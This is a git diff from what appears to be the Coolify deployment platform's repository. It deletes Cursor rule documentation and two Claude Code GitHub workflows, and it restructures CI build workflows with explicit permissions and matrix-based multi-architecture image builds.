-- **State management** handled on the server
-- **WebSocket integration** for live updates
-
-### Alpine.js (Client-Side Interactivity)
-- **Lightweight JavaScript** for DOM manipulation
-- **Declarative directives** in HTML
-- **Component-like behavior** without build steps
-- **Perfect companion** to Livewire
-
-### Tailwind CSS 4.1+ (Styling)
-- **Utility-first** CSS framework
-- **Custom design system** for deployment platform
-- **Responsive design** built-in
-- **Dark mode support**
-
-## Livewire Component Structure
-
-### Location: [app/Livewire/](mdc:app/Livewire)
-
-#### Core Application Components
-- **[Dashboard.php](mdc:app/Livewire/Dashboard.php)** - Main dashboard interface
-- **[ActivityMonitor.php](mdc:app/Livewire/ActivityMonitor.php)** - Real-time activity tracking
-- **[MonacoEditor.php](mdc:app/Livewire/MonacoEditor.php)** - Code editor component
-
-#### Server Management
-- **Server/** directory - Server configuration and monitoring
-- Real-time server status updates
-- SSH connection management
-- Resource monitoring
-
-#### Project & Application Management
-- **Project/** directory - Project organization
-- Application deployment interfaces
-- Environment variable management
-- Service configuration
-
-#### Settings & Configuration
-- **Settings/** directory - System configuration
-- **[SettingsEmail.php](mdc:app/Livewire/SettingsEmail.php)** - Email notification setup
-- **[SettingsOauth.php](mdc:app/Livewire/SettingsOauth.php)** - OAuth provider configuration
-- **[SettingsBackup.php](mdc:app/Livewire/SettingsBackup.php)** - Backup configuration
-
-#### User & Team Management
-- **Team/** directory - Team collaboration features
-- **Profile/** directory - User profile management
-- **Security/** directory - Security settings
-
-## Blade Template Organization
-
-### Location: [resources/views/](mdc:resources/views)
-
-#### Layout Structure
-- **layouts/** - Base layout templates
-- **components/** - Reusable UI components
-- **livewire/** - Livewire component views
-
-#### Feature-Specific Views
-- **server/** - Server management interfaces
-- **auth/** - Authentication pages
-- **emails/** - Email templates
-- **errors/** - Error pages
-
-## Interactive Components
-
-### Monaco Editor Integration
-- **Code editing** for configuration files
-- **Syntax highlighting** for multiple languages
-- **Live validation** and error detection
-- **Integration** with deployment process
-
-### Terminal Emulation (XTerm.js)
-- **Real-time terminal** access to servers
-- **WebSocket-based** communication
-- **Multi-session** support
-- **Secure connection** through SSH
-
-### Real-Time Updates
-- **WebSocket connections** via Laravel Echo
-- **Live deployment logs** streaming
-- **Server monitoring** with live metrics
-- **Activity notifications** in real-time
-
-## Alpine.js Patterns
-
-### Common Directives Used
-```html
-<!-- State management -->
-<div x-data="{ open: false }">
-
-<!-- Event handling -->
-<button x-on:click="open = !open">
-
-<!-- Conditional rendering -->
-<div x-show="open">
-
-<!-- Data binding -->
-<input x-model="searchTerm">
-
-<!-- Component initialization -->
-<div x-init="initializeComponent()">
-```
-
-### Integration with Livewire
-```html
-<!-- Livewire actions with Alpine state -->
-<button 
-    x-data="{ loading: false }"
-    x-on:click="loading = true"
-    wire:click="deploy"
-    wire:loading.attr="disabled"
-    wire:target="deploy"
->
-    <span x-show="!loading">Deploy</span>
-    <span x-show="loading">Deploying...</span>
-</button>
-```
-
-## Tailwind CSS Patterns
-
-### Design System
-- **Consistent spacing** using Tailwind scale
-- **Color palette** optimized for deployment platform
-- **Typography** hierarchy for technical content
-- **Component classes** for reusable elements
-
-### Responsive Design
-```html
-<!-- Mobile-first responsive design -->
-<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3">
-    <!-- Content adapts to screen size -->
-</div>
-```
-
-### Dark Mode Support
-```html
-<!-- Dark mode variants -->
-<div class="bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100">
-    <!-- Automatic dark mode switching -->
-</div>
-```
-
-## Build Process
-
-### Vite Configuration ([vite.config.js](mdc:vite.config.js))
-- **Fast development** with hot module replacement
-- **Optimized production** builds
-- **Asset versioning** for cache busting
-- **CSS processing** with PostCSS
-
-### Asset Compilation
-```bash
-# Development
-npm run dev
-
-# Production build
-npm run build
-```
-
-## State Management Patterns
-
-### Server-Side State (Livewire)
-- **Component properties** for persistent state
-- **Session storage** for user preferences
-- **Database models** for application state
-- **Cache layer** for performance
-
-### Client-Side State (Alpine.js)
-- **Local component state** for UI interactions
-- **Form validation** and user feedback
-- **Modal and dropdown** state management
-- **Temporary UI states** (loading, hover, etc.)
-
-## Real-Time Features
-
-### WebSocket Integration
-```php
-// Livewire component with real-time updates
-class ActivityMonitor extends Component
-{
-    public function getListeners()
-    {
-        return [
-            'deployment.started' => 'refresh',
-            'deployment.finished' => 'refresh',
-            'server.status.changed' => 'updateServerStatus',
-        ];
-    }
-}
-```
-
-### Event Broadcasting
-- **Laravel Echo** for client-side WebSocket handling
-- **Pusher protocol** for real-time communication
-- **Private channels** for user-specific events
-- **Presence channels** for collaborative features
-
-## Performance Patterns
-
-### Lazy Loading
-```php
-// Livewire lazy loading
-class ServerList extends Component
-{
-    public function placeholder()
-    {
-        return view('components.loading-skeleton');
-    }
-}
-```
-
-### Caching Strategies
-- **Fragment caching** for expensive operations
-- **Image optimization** with lazy loading
-- **Asset bundling** and compression
-- **CDN integration** for static assets
-
-## Enhanced Form Components
-
-### Built-in Authorization System
-Coolify features **enhanced form components** with automatic authorization handling:
-
-```html
-<!-- ✅ New Pattern: Single line with built-in authorization -->
-<x-forms.input canGate="update" :canResource="$application" id="application.name" label="Name" />
-<x-forms.checkbox instantSave canGate="update" :canResource="$application" id="application.settings.is_static" label="Static Site" />
-<x-forms.button canGate="update" :canResource="$application" type="submit">Save</x-forms.button>
-
-<!-- ❌ Old Pattern: Verbose @can/@else blocks (deprecated) -->
-@can('update', $application)
-    <x-forms.input id="application.name" label="Name" />
-@else
-    <x-forms.input disabled id="application.name" label="Name" />
-@endcan
-```
-
-### Authorization Parameters
-```php
-// Available on all form components (Input, Select, Textarea, Checkbox, Button)
-public ?string $canGate = null;        // Gate name: 'update', 'view', 'deploy', 'delete'
-public mixed $canResource = null;      // Resource model instance to check against
-public bool $autoDisable = true;       // Automatically disable if no permission (default: true)
-```
-
-### Benefits
-- **90% code reduction** for authorization-protected forms
-- **Consistent security** across all form components
-- **Automatic disabling** for unauthorized users
-- **Smart behavior** (disables instantSave on checkboxes for unauthorized users)
-
-For complete documentation, see **[form-components.mdc](mdc:.cursor/rules/form-components.mdc)**
-
-## Form Handling Patterns
-
-### Livewire Forms
-```php
-class ServerCreateForm extends Component
-{
-    public $name;
-    public $ip;
-    
-    protected $rules = [
-        'name' => 'required|min:3',
-        'ip' => 'required|ip',
-    ];
-    
-    public function save()
-    {
-        $this->validate();
-        // Save logic
-    }
-}
-```
-
-### Real-Time Validation
-- **Live validation** as user types
-- **Server-side validation** rules
-- **Error message** display
-- **Success feedback** patterns
-
-## Component Communication
-
-### Parent-Child Communication
-```php
-// Parent component
-$this->emit('serverCreated', $server->id);
-
-// Child component
-protected $listeners = ['serverCreated' => 'refresh'];
-```
-
-### Cross-Component Events
-- **Global events** for application-wide updates
-- **Scoped events** for feature-specific communication
-- **Browser events** for JavaScript integration
-
-## Error Handling & UX
-
-### Loading States
-- **Skeleton screens** during data loading
-- **Progress indicators** for long operations
-- **Optimistic updates** with rollback capability
-
-### Error Display
-- **Toast notifications** for user feedback
-- **Inline validation** errors
-- **Global error** handling
-- **Retry mechanisms** for failed operations
-
-## Accessibility Patterns
-
-### ARIA Labels and Roles
-```html
-<button
-    aria-label="Deploy application"
-    aria-describedby="deploy-help"
-    wire:click="deploy"
->
-    Deploy
-</button>
-```
-
-### Keyboard Navigation
-- **Tab order** management
-- **Keyboard shortcuts** for power users
-- **Focus management** in modals and forms
-- **Screen reader** compatibility
-
-## Mobile Optimization
-
-### Touch-Friendly Interface
-- **Larger tap targets** for mobile devices
-- **Swipe gestures** where appropriate
-- **Mobile-optimized** forms and navigation
-
-### Progressive Enhancement
-- **Core functionality** works without JavaScript
-- **Enhanced experience** with JavaScript enabled
-- **Offline capabilities** where possible
diff --git a/.cursor/rules/self_improve.mdc b/.cursor/rules/self_improve.mdc
deleted file mode 100644
index 2bebaec75..000000000
--- a/.cursor/rules/self_improve.mdc
+++ /dev/null
@@ -1,59 +0,0 @@
----
-description: Guidelines for continuously improving Cursor rules based on emerging code patterns and best practices.
-globs: **/*
-alwaysApply: true
----
-
-- **Rule Improvement Triggers:**
-  - New code patterns not covered by existing rules
-  - Repeated similar implementations across files
-  - Common error patterns that could be prevented
-  - New libraries or tools being used consistently
-  - Emerging best practices in the codebase
-
-- **Analysis Process:**
-  - Compare new code with existing rules
-  - Identify patterns that should be standardized
-  - Look for references to external documentation
-  - Check for consistent error handling patterns
-  - Monitor test patterns and coverage
-
-- **Rule Updates:**
-  - **Add New Rules When:**
-    - A new technology/pattern is used in 3+ files
-    - Common bugs could be prevented by a rule
-    - Code reviews repeatedly mention the same feedback
-    - New security or performance patterns emerge
-
-  - **Modify Existing Rules When:**
-    - Better examples exist in the codebase
-    - Additional edge cases are discovered
-    - Related rules have been updated
-    - Implementation details have changed
-
-
-- **Rule Quality Checks:**
-  - Rules should be actionable and specific
-  - Examples should come from actual code
-  - References should be up to date
-  - Patterns should be consistently enforced
-
-- **Continuous Improvement:**
-  - Monitor code review comments
-  - Track common development questions
-  - Update rules after major refactors
-  - Add links to relevant documentation
-  - Cross-reference related rules
-
-- **Rule Deprecation:**
-  - Mark outdated patterns as deprecated
-  - Remove rules that no longer apply
-  - Update references to deprecated rules
-  - Document migration paths for old patterns
-
-- **Documentation Updates:**
-  - Keep examples synchronized with code
-  - Update references to external docs
-  - Maintain links between related rules
-  - Document breaking changes
-Follow [cursor_rules.mdc](mdc:.cursor/rules/cursor_rules.mdc) for proper rule formatting and structure.
diff --git a/.github/workflows/chore-lock-closed-issues-discussions-and-prs.yml b/.github/workflows/chore-lock-closed-issues-discussions-and-prs.yml
index d00853964..365842254 100644
--- a/.github/workflows/chore-lock-closed-issues-discussions-and-prs.yml
+++ b/.github/workflows/chore-lock-closed-issues-discussions-and-prs.yml
@@ -4,6 +4,11 @@ on:
   schedule:
     - cron: '0 1 * * *'
 
+permissions:
+  issues: write
+  discussions: write
+  pull-requests: write
+
 jobs:
   lock-threads:
     runs-on: ubuntu-latest
@@ -13,5 +18,5 @@ jobs:
         with:
           github-token: ${{ secrets.GITHUB_TOKEN }}
           issue-inactive-days: '30'
-          pr-inactive-days: '30'
           discussion-inactive-days: '30'
+          pr-inactive-days: '30'
diff --git a/.github/workflows/chore-manage-stale-issues-and-prs.yml b/.github/workflows/chore-manage-stale-issues-and-prs.yml
index 58a2b7d7e..d61005549 100644
--- a/.github/workflows/chore-manage-stale-issues-and-prs.yml
+++ b/.github/workflows/chore-manage-stale-issues-and-prs.yml
@@ -4,6 +4,10 @@ on:
   schedule:
     - cron: '0 2 * * *'
 
+permissions:
+  issues: write
+  pull-requests: write
+
 jobs:
   manage-stale:
     runs-on: ubuntu-latest
diff --git a/.github/workflows/chore-pr-comments.yml b/.github/workflows/chore-pr-comments.yml
index 8836c6632..1d94bec81 100644
--- a/.github/workflows/chore-pr-comments.yml
+++ b/.github/workflows/chore-pr-comments.yml
@@ -3,20 +3,13 @@ on:
   pull_request_target:
     types:
       - labeled
+
+permissions:
+  pull-requests: write
+
 jobs:
   add-comment:
     runs-on: ubuntu-latest
-    permissions:
-      pull-requests: write
-      contents: read
-      actions: none
-      checks: none
-      deployments: none
-      issues: none
-      packages: none
-      repository-projects: none
-      security-events: none
-      statuses: none
     strategy:
       matrix:
         include:
diff --git a/.github/workflows/chore-remove-labels-and-assignees-on-close.yml b/.github/workflows/chore-remove-labels-and-assignees-on-close.yml
index 194984ddc..8ac199a08 100644
--- a/.github/workflows/chore-remove-labels-and-assignees-on-close.yml
+++ b/.github/workflows/chore-remove-labels-and-assignees-on-close.yml
@@ -8,6 +8,10 @@ on:
   pull_request_target:
     types: [closed]
 
+permissions:
+  issues: write
+  pull-requests: write
+
 jobs:
   remove-labels-and-assignees:
     runs-on: ubuntu-latest
diff --git a/.github/workflows/claude-code-review.yml b/.github/workflows/claude-code-review.yml
deleted file mode 100644
index a2c92df59..000000000
--- a/.github/workflows/claude-code-review.yml
+++ /dev/null
@@ -1,79 +0,0 @@
-name: Claude Code Review
-
-on:
-  pull_request:
-    types: [opened, synchronize]
-    # Optional: Only run on specific file changes
-    # paths:
-    #   - "src/**/*.ts"
-    #   - "src/**/*.tsx"
-    #   - "src/**/*.js"
-    #   - "src/**/*.jsx"
-
-jobs:
-  claude-review:
-    if: false
-    # Optional: Filter by PR author
-    # if: |
-    #   github.event.pull_request.user.login == 'external-contributor' ||
-    #   github.event.pull_request.user.login == 'new-developer' ||
-    #   github.event.pull_request.author_association == 'FIRST_TIME_CONTRIBUTOR'
-    
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      pull-requests: read
-      issues: read
-      id-token: write
-    
-    steps:
-      - name: Checkout repository
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 1
-
-      - name: Run Claude Code Review
-        id: claude-review
-        uses: anthropics/claude-code-action@beta
-        with:
-          claude_code_oauth_token: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
-
-          # Optional: Specify model (defaults to Claude Sonnet 4, uncomment for Claude Opus 4.1)
-          # model: "claude-opus-4-1-20250805"
-
-          # Direct prompt for automated review (no @claude mention needed)
-          direct_prompt: |
-            Please review this pull request and provide feedback on:
-            - Code quality and best practices
-            - Potential bugs or issues
-            - Performance considerations
-            - Security concerns
-            - Test coverage
-            
-            Be constructive and helpful in your feedback.
-
-          # Optional: Use sticky comments to make Claude reuse the same comment on subsequent pushes to the same PR
-          # use_sticky_comment: true
-          
-          # Optional: Customize review based on file types
-          # direct_prompt: |
-          #   Review this PR focusing on:
-          #   - For TypeScript files: Type safety and proper interface usage
-          #   - For API endpoints: Security, input validation, and error handling
-          #   - For React components: Performance, accessibility, and best practices
-          #   - For tests: Coverage, edge cases, and test quality
-          
-          # Optional: Different prompts for different authors
-          # direct_prompt: |
-          #   ${{ github.event.pull_request.author_association == 'FIRST_TIME_CONTRIBUTOR' && 
-          #   'Welcome! Please review this PR from a first-time contributor. Be encouraging and provide detailed explanations for any suggestions.' ||
-          #   'Please provide a thorough code review focusing on our coding standards and best practices.' }}
-          
-          # Optional: Add specific tools for running tests or linting
-          # allowed_tools: "Bash(npm run test),Bash(npm run lint),Bash(npm run typecheck)"
-          
-          # Optional: Skip review for certain conditions
-          # if: |
-          #   !contains(github.event.pull_request.title, '[skip-review]') &&
-          #   !contains(github.event.pull_request.title, '[WIP]')
-
diff --git a/.github/workflows/claude.yml b/.github/workflows/claude.yml
deleted file mode 100644
index 9daf0e90e..000000000
--- a/.github/workflows/claude.yml
+++ /dev/null
@@ -1,65 +0,0 @@
-name: Claude Code
-
-on:
-  issue_comment:
-    types: [created]
-  pull_request_review_comment:
-    types: [created]
-  issues:
-    types: [opened, assigned]
-  pull_request_review:
-    types: [submitted]
-
-jobs:
-  claude:
-    if: |
-      (github.event_name == 'issue_comment' && contains(github.event.comment.body, '@claude')) ||
-      (github.event_name == 'pull_request_review_comment' && contains(github.event.comment.body, '@claude')) ||
-      (github.event_name == 'pull_request_review' && contains(github.event.review.body, '@claude')) ||
-      (github.event_name == 'issues' && github.event.action == 'labeled' && github.event.label.name == 'Claude') ||
-      (github.event_name == 'pull_request' && github.event.action == 'labeled' && github.event.label.name == 'Claude') ||
-      (github.event_name == 'issues' && (contains(github.event.issue.body, '@claude') || contains(github.event.issue.title, '@claude')))
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      pull-requests: read
-      issues: read
-      id-token: write
-      actions: read # Required for Claude to read CI results on PRs
-    steps:
-      - name: Checkout repository
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 1
-
-      - name: Run Claude Code
-        id: claude
-        uses: anthropics/claude-code-action@v1
-        with:
-          anthropic_api_key: ${{ secrets.CLAUDE_CODE_OAUTH_TOKEN }}
-
-          # This is an optional setting that allows Claude to read CI results on PRs
-          additional_permissions: |
-            actions: read
-          
-          # Optional: Specify model (defaults to Claude Sonnet 4, uncomment for Claude Opus 4.1)
-          # model: "claude-opus-4-1-20250805"
-          
-          # Optional: Customize the trigger phrase (default: @claude)
-          # trigger_phrase: "/claude"
-          
-          # Optional: Trigger when specific user is assigned to an issue
-          # assignee_trigger: "claude-bot"
-          
-          # Optional: Allow Claude to run specific commands
-          # allowed_tools: "Bash(npm install),Bash(npm run build),Bash(npm run test:*),Bash(npm run lint:*)"
-          
-          # Optional: Add custom instructions for Claude to customize its behavior for your project
-          # custom_instructions: |
-          #   Follow our coding standards
-          #   Ensure all new code has tests
-          #   Use TypeScript for new files
-          
-          # Optional: Custom environment variables for Claude
-          # claude_env: |
-          #   NODE_ENV: test
diff --git a/.github/workflows/cleanup-ghcr-untagged.yml b/.github/workflows/cleanup-ghcr-untagged.yml
index 394fba68f..a86cedcb0 100644
--- a/.github/workflows/cleanup-ghcr-untagged.yml
+++ b/.github/workflows/cleanup-ghcr-untagged.yml
@@ -1,17 +1,14 @@
 name: Cleanup Untagged GHCR Images
 
 on:
-  workflow_dispatch: # Manual trigger only
+  workflow_dispatch:
 
-env:
-  GITHUB_REGISTRY: ghcr.io
+permissions:
+  packages: write
 
 jobs:
   cleanup-all-packages:
     runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
     strategy:
       matrix:
         package: ['coolify', 'coolify-helper', 'coolify-realtime', 'coolify-testing-host']
diff --git a/.github/workflows/coolify-helper-next.yml b/.github/workflows/coolify-helper-next.yml
index a4a2a21f6..fec54d54a 100644
--- a/.github/workflows/coolify-helper-next.yml
+++ b/.github/workflows/coolify-helper-next.yml
@@ -7,19 +7,31 @@ on:
       - .github/workflows/coolify-helper-next.yml
       - docker/coolify-helper/Dockerfile
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
   IMAGE_NAME: "coollabsio/coolify-helper"
 
 jobs:
-  amd64:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
+  build-push:
+    strategy:
+      matrix:
+        include:
+          - arch: amd64
+            platform: linux/amd64
+            runner: ubuntu-24.04
+          - arch: aarch64
+            platform: linux/aarch64
+            runner: ubuntu-24.04-arm
+    runs-on: ${{ matrix.runner }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
         uses: docker/login-action@v3
@@ -40,66 +52,27 @@ jobs:
         run: |
           echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getHelperVersion.php)"|xargs >> $GITHUB_OUTPUT
 
-      - name: Build and Push Image
+      - name: Build and Push Image (${{ matrix.arch }})
         uses: docker/build-push-action@v6
         with:
           context: .
           file: docker/coolify-helper/Dockerfile
-          platforms: linux/amd64
+          platforms: ${{ matrix.platform }}
           push: true
           tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next
-          labels: |
-            coolify.managed=true
-  aarch64:
-    runs-on: [ self-hosted, arm64 ]
-    permissions:
-      contents: read
-      packages: write
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Login to ${{ env.GITHUB_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.GITHUB_REGISTRY }}
-          username: ${{ github.actor }}
-          password: ${{ secrets.GITHUB_TOKEN  }}
-
-      - name: Login to ${{ env.DOCKER_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKER_REGISTRY }}
-          username: ${{ secrets.DOCKER_USERNAME }}
-          password: ${{ secrets.DOCKER_TOKEN }}
-
-      - name: Get Version
-        id: version
-        run: |
-          echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getHelperVersion.php)"|xargs >> $GITHUB_OUTPUT
-
-      - name: Build and Push Image
-        uses: docker/build-push-action@v6
-        with:
-          context: .
-          file: docker/coolify-helper/Dockerfile
-          platforms: linux/aarch64
-          push: true
-          tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64
+            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-${{ matrix.arch }}
+            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-${{ matrix.arch }}
           labels: |
             coolify.managed=true
 
   merge-manifest:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
-    needs: [ amd64, aarch64 ]
+    runs-on: ubuntu-24.04
+    needs: build-push
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
+
       - uses: docker/setup-buildx-action@v3
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
@@ -124,14 +97,16 @@ jobs:
       - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-amd64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:next
 
       - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-amd64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next-aarch64 \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-next \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:next
 
diff --git a/.github/workflows/coolify-helper.yml b/.github/workflows/coolify-helper.yml
index 56c3eaa17..0c9996ec8 100644
--- a/.github/workflows/coolify-helper.yml
+++ b/.github/workflows/coolify-helper.yml
@@ -7,19 +7,31 @@ on:
       - .github/workflows/coolify-helper.yml
       - docker/coolify-helper/Dockerfile
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
   IMAGE_NAME: "coollabsio/coolify-helper"
 
 jobs:
-  amd64:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
+  build-push:
+    strategy:
+      matrix:
+        include:
+          - arch: amd64
+            platform: linux/amd64
+            runner: ubuntu-24.04
+          - arch: aarch64
+            platform: linux/aarch64
+            runner: ubuntu-24.04-arm
+    runs-on: ${{ matrix.runner }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
         uses: docker/login-action@v3
@@ -40,65 +52,25 @@ jobs:
         run: |
           echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getHelperVersion.php)"|xargs >> $GITHUB_OUTPUT
 
-      - name: Build and Push Image
+      - name: Build and Push Image (${{ matrix.arch }})
         uses: docker/build-push-action@v6
         with:
           context: .
           file: docker/coolify-helper/Dockerfile
-          platforms: linux/amd64
+          platforms: ${{ matrix.platform }}
           push: true
           tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}
-          labels: |
-            coolify.managed=true
-  aarch64:
-    runs-on: [ self-hosted, arm64 ]
-    permissions:
-      contents: read
-      packages: write
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Login to ${{ env.GITHUB_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.GITHUB_REGISTRY }}
-          username: ${{ github.actor }}
-          password: ${{ secrets.GITHUB_TOKEN  }}
-
-      - name: Login to ${{ env.DOCKER_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.DOCKER_REGISTRY }}
-          username: ${{ secrets.DOCKER_USERNAME }}
-          password: ${{ secrets.DOCKER_TOKEN }}
-
-      - name: Get Version
-        id: version
-        run: |
-          echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getHelperVersion.php)"|xargs >> $GITHUB_OUTPUT
-
-      - name: Build and Push Image
-        uses: docker/build-push-action@v6
-        with:
-          context: .
-          file: docker/coolify-helper/Dockerfile
-          platforms: linux/aarch64
-          push: true
-          tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64
+            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-${{ matrix.arch }}
+            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-${{ matrix.arch }}
           labels: |
             coolify.managed=true
   merge-manifest:
-    runs-on: ubuntu-latest
-    permissions:
-      contents: read
-      packages: write
-    needs: [ amd64, aarch64 ]
+    runs-on: ubuntu-24.04
+    needs: build-push
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - uses: docker/setup-buildx-action@v3
 
@@ -124,14 +96,16 @@ jobs:
       - name: Create & publish manifest on ${{ env.GITHUB_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-amd64 \
+          ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }} \
           --tag ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
       - name: Create & publish manifest on ${{ env.DOCKER_REGISTRY }}
         run: |
           docker buildx imagetools create \
-          --append ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-amd64 \
+          ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}-aarch64 \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }} \
           --tag ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:latest
 
diff --git a/.github/workflows/coolify-production-build.yml b/.github/workflows/coolify-production-build.yml
index cd1f002b8..21871b103 100644
--- a/.github/workflows/coolify-production-build.yml
+++ b/.github/workflows/coolify-production-build.yml
@@ -14,16 +14,31 @@ on:
       - templates/**
       - CHANGELOG.md
 
+permissions:
+  contents: read
+  packages: write
+
 env:
   GITHUB_REGISTRY: ghcr.io
   DOCKER_REGISTRY: docker.io
   IMAGE_NAME: "coollabsio/coolify"
 
 jobs:
-  amd64:
-    runs-on: ubuntu-latest
+  build-push:
+    strategy:
+      matrix:
+        include:
+          - arch: amd64
+            platform: linux/amd64
+            runner: ubuntu-24.04
+          - arch: aarch64
+            platform: linux/aarch64
+            runner: ubuntu-24.04-arm
+    runs-on: ${{ matrix.runner }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
+        with:
+          persist-credentials: false
 
       - name: Login to ${{ env.GITHUB_REGISTRY }}
         uses: docker/login-action@v3
@@ -44,60 +59,24 @@ jobs:
         run: |
           echo "VERSION=$(docker run --rm -v "$(pwd):/app" -w /app php:8.2-alpine3.16 php bootstrap/getVersion.php)"|xargs >> $GITHUB_OUTPUT
 
-      - name: Build and Push Image
+      - name: Build and Push Image (${{ matrix.arch }})
         uses: docker/build-push-action@v6
         with:
           context: .
           file: docker/production/Dockerfile
-          platforms: linux/amd64
+          platforms: ${{ matrix.platform }}
           push: true
           tags: |
-            ${{ env.DOCKER_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}
-            ${{ env.GITHUB_REGISTRY }}/${{ env.IMAGE_NAME }}:${{ steps.version.outputs.VERSION }}
-
-  aarch64:
-    runs-on: [self-hosted, arm64]
-    steps:
-      - uses: actions/checkout@v4
-
-      - name: Login to ${{ env.GITHUB_REGISTRY }}
-        uses: docker/login-action@v3
-        with:
-          registry: ${{ env.GITHUB_REGISTRY }}
-          username: ${{ github.actor }}
-          password: ${{ secrets.GITHUB_TOKEN  }}
-
